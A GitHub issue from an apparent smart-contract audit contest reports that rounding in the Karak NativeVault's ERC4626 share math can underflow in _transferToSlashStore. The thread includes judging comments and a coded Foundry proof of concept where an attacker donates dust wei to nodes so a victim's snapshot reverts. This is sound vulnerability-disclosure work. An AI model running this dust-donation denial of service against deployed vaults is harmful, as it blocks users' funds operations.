-
Notifications
You must be signed in to change notification settings - Fork 0
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
A DoS
on snapshots due to a rounding error in calculations.
#36
Comments
MiloTruck marked the issue as primary issue |
MiloTruck marked the issue as satisfactory |
MiloTruck removed the grade |
MiloTruck marked the issue as unsatisfactory: |
The PoC provided has the following step:
How would a native vault reach such a state? 32 ETH is required to activate a validator, and the minimum balance for a validator is 16 ETH. This means a native vault with at least one active validator in it would have The issue hasn't described how it is possible for the native vault to reach a state where
As such, I believe this issue has not demonstrated sufficient proof of how If the warden genuinely feels that the underflow can occur, I encourage him to provide a coded PoC that interacts with |
MiloTruck removed the grade |
MiloTruck changed the severity to QA (Quality Assurance) |
MiloTruck marked the issue as grade-b |
Fixed this with:
|
Hi, @MiloTruck! Thank you for your encouragement! I have made a coded PoC along with a detailed description. The primary reason for this issueSince a nativeVault is an ERC4626, all rounding in calculations is managed for the benefit of the protocol. Consequently, if there is no slashing, the asset amount per share can only increase due to rounding. As the frequency of deposits and withdrawals rises, this effect may become more pronounced. This could lead to overflows at L430, because https://github.com/code-423n4/2024-07-karak/blob/main/src/NativeVault.sol#L425-L446 function _transferToSlashStore(address nodeOwner) internal {
NativeVaultLib.Storage storage self = _state();
NativeVaultLib.NativeNode storage node = self.ownerToNode[nodeOwner];
// slashed ETH = total restaked ETH (node + beacon) - share price equivalent ETH
@> uint256 slashedAssets = node.totalRestakedETH - convertToAssets(balanceOf(nodeOwner));
[...]
} NoteBefore detailing the coded PoC, I want to clarify that the totalAssets can increase through donations to nativeNode. The donated amount can be any arbitrary number (the original report uses 3), which may not necessarily be a multiple of GEWI. Scenario:
In this situation, Bob's snapshot will revert because Coded PoCIn this PoC, I only utilize Bob's native node, not his validator, which does not result in any numerical differences. Before testing, insert the following code snippet into NativeVault.sol
function getNodeTotalRestakedETH(address owner) external view returns (uint256 totalRestakedETH) {
return _state().ownerToNode[owner].totalRestakedETH;
} NativeVault.t.sol
function test_rounding_error() public {
////////////
// STEP 1 //
////////////
// Consider Bob's address to be address(this)
// Create bob's node
address bobNode = nativeVault.createNode();
assertEq(nativeVault.getNodeOwner(bobNode), address(this));
// Bob's node has 32 ETH (the same effect as if Bob had a validator.)
vm.deal(bobNode, 32 ether);
assertEq(bobNode.balance, 32 ether);
// Need to store the parent root before starting the snapshot
vm.store(Constants.BEACON_ROOTS_ADDRESS, timestamp_idx(block.timestamp), bytes32(uint256(block.timestamp)));
vm.store(Constants.BEACON_ROOTS_ADDRESS, root_idx(block.timestamp), bytes32(0x00));
// start snapshot
nativeVault.startSnapshot(false);
assertEq(nativeVault.getNodeTotalRestakedETH(address(this)), 32 ether);
assertEq(nativeVault.convertToAssets(nativeVault.balanceOf(address(this))), 32 ether);
assertEq(nativeVault.totalAssets(), 32 ether);
////////////
// STEP 2 //
////////////
vm.prank(address(core));
nativeVault.slashAssets(2 ether, address(slashStore));
// slashing succesfull
assertEq(nativeVault.totalAssets(), 30 ether);
vm.prank(address(this));
// During a call to startSnapshot, slashed ether will be swept and totalRestakedETH decremented
nativeVault.startSnapshot(false);
assertEq(nativeVault.getNodeTotalRestakedETH(address(this)), 30 ether);
assertEq(nativeVault.convertToAssets(nativeVault.balanceOf(address(this))), 30 ether);
assertEq(nativeVault.totalAssets(), 30 ether);
////////////
// STEP 3 //
////////////
// Create the attacker's node
address attacker = address(2);
vm.prank(attacker);
address attackerNode = nativeVault.createNode();
assertEq(nativeVault.getNodeOwner(attackerNode), attacker);
// The attacker sends 15 wei to the node
vm.deal(attackerNode, 15 wei);
assertEq(attackerNode.balance, 15 wei);
vm.prank(attacker);
nativeVault.startSnapshot(false);
assertEq(nativeVault.getNodeTotalRestakedETH(address(this)), 30 ether);
assertEq(nativeVault.convertToAssets(nativeVault.balanceOf(address(this))), 30 ether);
assertEq(nativeVault.totalAssets(), 30 ether + 15 wei);
////////////
// STEP 4 //
////////////
// Create the attacker's another node
address attacker3 = address(3);
vm.prank(attacker3);
address attackerNode3 = nativeVault.createNode();
assertEq(nativeVault.getNodeOwner(attackerNode3), attacker3);
// The attacker sends 15 wei to the node
vm.deal(attackerNode3, 15 wei);
assertEq(attackerNode3.balance, 15 wei);
vm.prank(attacker3);
nativeVault.startSnapshot(false);
// The following illustrates the difference between the two values, which will revert Bob's snapshot
assertEq(nativeVault.getNodeTotalRestakedETH(address(this)), 30 ether);
assertEq(nativeVault.convertToAssets(nativeVault.balanceOf(address(this))), 30 ether + 1 wei);
// Bob's snapshot will revert
vm.prank(address(this));
vm.expectRevert();
nativeVault.startSnapshot(false);
} |
totalRestakedEth for Bob will only decrease when shares are being burnt, which happens during update! so it remains 32e18! function _decreaseBalance(address _of, uint256 assets) internal {
NativeVaultLib.Storage storage self = _state();
uint256 shares = previewWithdraw(assets);
_beforeWithdraw(assets, shares);
@>>> _burn(_of, shares); //Bob shares will reduce here
self.totalAssets -= assets;
@>>> self.ownerToNode[_of].totalRestakedETH -= assets; //before Bob's totalRestakedETH reduces!
emit DecreasedBalance(self.ownerToNode[_of].totalRestakedETH);
} |
Thanks for providing the detailed example and the coded PoC, this is a good find!
We assume |
At judge request, C4 staff have updated this issue to Medium. |
MiloTruck changed the severity to 3 (High Risk) |
MiloTruck marked the issue as selected for report |
MiloTruck marked the issue as satisfactory |
Lines of code
https://github.com/code-423n4/2024-07-karak/blob/main/src/NativeVault.sol#L425-L446
https://github.com/vectorized/solady/blob/main/src/tokens/ERC4626.sol#L192-L204
Vulnerability details
Impact
Creating a snapshot may be impossible due to a rounding error in the calculations.
Proof of Concept
When initiating a snapshot, some assets are transferred to the slash store within the
_transferToSlashStore()
function. The transfer amount is calculated atL430
. However, ifconvertToAssets(balanceOf(nodeOwner))
exceedsnode.totalRestakedETH
(which could occur due to a rounding error in the calculations), the transaction will revert due to an integer underflow.Consider the following scenario:
Note: The exchange rate formula is
(totalAssets + 1) / (totalSupply + 1)
as defined in ERC4626.Current state of the
NativeVault
:totalAssets
= 3e18totalSupply
= 5e18totalRestakedETH
for Bob's node = 1.5e18 - 2An increase in totalAssets by 3:
As a result:
totalAssets
= 3e18 + 3totalSupply
= 5e18 + 4totalRestakedETH
for Bob's node = 1.5e18 - 2In this situation, Bob's snapshot will revert because
convertToAssets(balanceOf(nodeOwner))
is greater thannode.totalRestakedETH
.This issue arises from calculation rounding errors. As seen in the scenario above, the issue can arise even with a single increase in totalAssets, and the likelihood of this problem grows as the number of participants increases.
Additionally, attackers could exploit this vulnerability to execute a
DoS
attack on others' snapshots by transfering DUST ethers to the nodeAddress and performing the second step of the above scenario.Tools Used
Manual review
Recommended Mitigation Steps
The
_transferToSlashStore()
function should be fixed as follows.Assessed type
DoS
The text was updated successfully, but these errors were encountered: